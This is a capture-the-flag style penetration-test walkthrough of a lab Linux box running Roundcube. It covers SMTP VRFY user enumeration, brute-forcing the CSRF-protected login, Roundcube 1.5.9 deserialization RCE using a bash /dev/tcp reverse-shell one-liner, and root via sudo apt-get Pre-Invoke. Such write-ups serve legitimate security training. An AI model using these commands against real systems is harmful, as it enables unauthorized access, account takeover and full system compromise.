Objective

You have been assigned a penetration test against a Linux server in the client's network. Your objective is to gain root access. The client has planted three flags on the system, retrieving each of these flags demonstrates impact.

Initial Access Another team member pulled down a list of names and passwords from DeHashed... but are unsure if any of them are valid.

Overview

The machine starts by smtp enumeration via VRFY that reveals valid users, brute-forcing the roundcube login with csrf token handling to get authenticated access to find the user flag in an email and exploiting post-auth php deserialization to get rce as www-data, then abusing apt-get pre-invoke via sudo to get shell as root.

Enumeration

We start with an Nmap scan as usual.

The Nmap scan shows there are 3 open ports: SSH, SMTP, and HTTP.

We're not given any credentials but we're given a list of possible usernames and passwords (we can start brute-forcing SSH directly but it is a waste of time so I always leave it as the last option).

we have HTTP and SMTP to start with.

HTTP

Starting with HTTP, the main page is just a video running.

Doing some fuzzing, we find a Roundcube instance

bash
jimmex@attacker:~/Aftermath$ ffuf -u http://10.1.155.148/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.1.155.148/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

roundcube [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 139ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 85ms]
:: Progress: [20115/20115] :: Job [1/1] :: 465 req/sec :: Duration: [0:00:47] :: Errors: 0 ::

Here is the instance.

Because we have SMTP and Roundcube, we can start enumerating usernames out of SMTP using smtp-user-enum which abuses the way SMTP is designed (different response for non-existent users) and uses a list to extract the actual usernames that way.

smtp-user-enum with VRFY checks whether an SMTP server will confirm if a username exists, allowing enumeration of valid accounts when the server responds differently for valid vs. invalid users.

Running it with the given usernames list, we get two valid users: maria and kali.

bash
┌─[]─[10.200.93.104]─[jimmex@attacker]─[~/HSM/Aftermath]
└──╼ [★]$ smtp-user-enum -M VRFY -U names.txt -t 10.1.155.148
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
| Scan Information |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... names.txt
Target count ............. 1
Username count ........... 499
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Thu Sep 10 18:42:36 2026 #########
10.1.155.148: maria exists
10.1.155.148: kali exists
######## Scan completed at Thu Sep 10 18:43:35 2026 #########
2 results.

499 queries in 59 seconds (8.5 queries / sec)

The password list isn't too big so we can start brute-forcing Roundcube.

bash
┌─[]─[10.200.93.104]─[jimmex@attacker]─[~/HSM/Aftermath]
└──╼ [★]$ cat passwords.txt | wc -l
29

Roundcube as maria

Before trying to brute-force, we need to enumerate the behavior of this login form because Roundcube is an actual legitimate service that has security engineers working on it, so most certainly there are CSRF tokens.

The behavior:

  • Each request hands the CSRF for the next request via this request_token parameter from the function rcmail.set_env
  • This token is in the response whether for a GET or POST request
  • It can also be found under the _token form parameter

As you can see, the first login attempt gives us this value in the response.

And sending another request, you'll see that the same value is used as _token.

Now we know what we need to do. We'll use Intruder with the Pitchfork attack type because our payloads will work in parallel.

First payload, which is the token, we'll use the Recursive Grep type, and from settings we set the Grep - Extract with the exact regex we need to find (for this I will use name="_token" value="(.+?)" as an extract group).

If you're not familiar with Recursive Grep, it is a payload type in Burp Suite that uses a result of a grep statement from the previous response as a value somewhere in the current request.

To set it up, you need the first value (because we didn't send requests yet) and the matching regex you need to use its value then it will do its magic by using the first value to send the request then extracting the regex from its response and using it in the next request and so on.

So you set the initial value of the payload to any new token you extract from the site and set the second payload to a simple list with the passwords.

Running Intruder will find the password for the user maria as you can see.

Faster Faster

For this, we could've used macros, but I like Go so much so I wrote this one (the initial script was very minimal but you don't need to write all this if you need to write your own).

The idea here is that every response has this token even if it was a GET request, so instead of sending a payload and waiting for the response to come back, we'll just send parallel requests as a pair:

  • GET request anywhere to get a new token out of its response
  • POST request with that token

That way we don't need to wait for this pair to come back and we'll send as many pairs as we need (workers), which is just an insanely faster way to do this (compared to Burp Community, or even Pro with the Recursive Grep).

You can find it on [github](jimmexploit/digcube: Digging in roundcube mail.) as well.

And as you can see here are the results (my bandwidth sucks, by the way) you also need to consider a reasonable amount of workers so you don't hammer the server, and it won't do you any good.

bash
┌─[]─[10.200.93.104]─[jimmex@attacker]─[~/HSM/Aftermath]
└──╼ [★]$ time go run digcube.go -user maria -passwords passwords.txt -target http://10.1.155.148 -workers 10
[+] maria:1qaz2wsx

real 0m18.445s
user 0m0.262s
sys 0m0.225s

Anyway, we log in using the user we just got and we find the user flag in an email.

RCE as www-data

Looking for the version, we find that it is 1.5.9 which is vulnerable to post-auth RCE.

Finding this good writeup explaining what the exact issue is.

In simple words, one of the Roundcube pages takes a URL parameter called _form and doesn't check it properly before using it. Because of that, we can craft a special value for that parameter to trick PHP into deserializing (Roundcube is written in PHP) and you know where deserialization can lead to.

Roundcube's post-auth RCE abuses unsafe PHP deserialization via the _from/_form parameter, where attacker-controlled serialized data is unserialized without validation, leading to object injection and remote code execution.

First, I will base64-encode the payload for the shell.

bash
┌─[]─[10.200.93.104]─[jimmex@attacker]─[~/HSM/Aftermath]
└──╼ [★]$ echo 'bash -i >& /dev/tcp/10.200.93.104/4444 0>&1' | base64 -w 0

Then I use the official exploit to run the reverse shell we just base64-encoded. Running that, you can see we get a shell as www-data.

Shell as root

Looking for commands we can run using sudo, we can use /usr/bin/apt-get.

bash
www-data@kali:/var/www/html/roundcube$ sudo -l
Matching Defaults entries for www-data on kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on kali:
    (ALL) NOPASSWD: /usr/bin/apt-get

APT::Update::Pre-Invoke is an apt-get configuration option that runs a command before apt-get update executes. When apt-get is allowed via sudo, this can be abused to execute arbitrary commands as root.

apt-get supports a pre-execution feature just like a lot of stuff does, and there are multiple ways to do this, but this is the most reliable because others need extra stuff to be enabled (talking about the sl way).

Anyway, we run apt-get update and set the Pre-Invoke for the update to run sh, and as you can see we are root.

bash
www-data@kali:/var/www/html/roundcube$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
# cat /root/root.txt
flag{toor_<EXECUSE ME>_root}

The user flag is under /usr/user.txt.

bash
# find / -name user.txt 2>/dev/null 
/usr/user.txt

And here it is.

bash
# cat /usr/user.txt
flag{user<EM EM>cube}
# 

Path

That's what we did in this box. Pasted image 20260911050059.png

Resources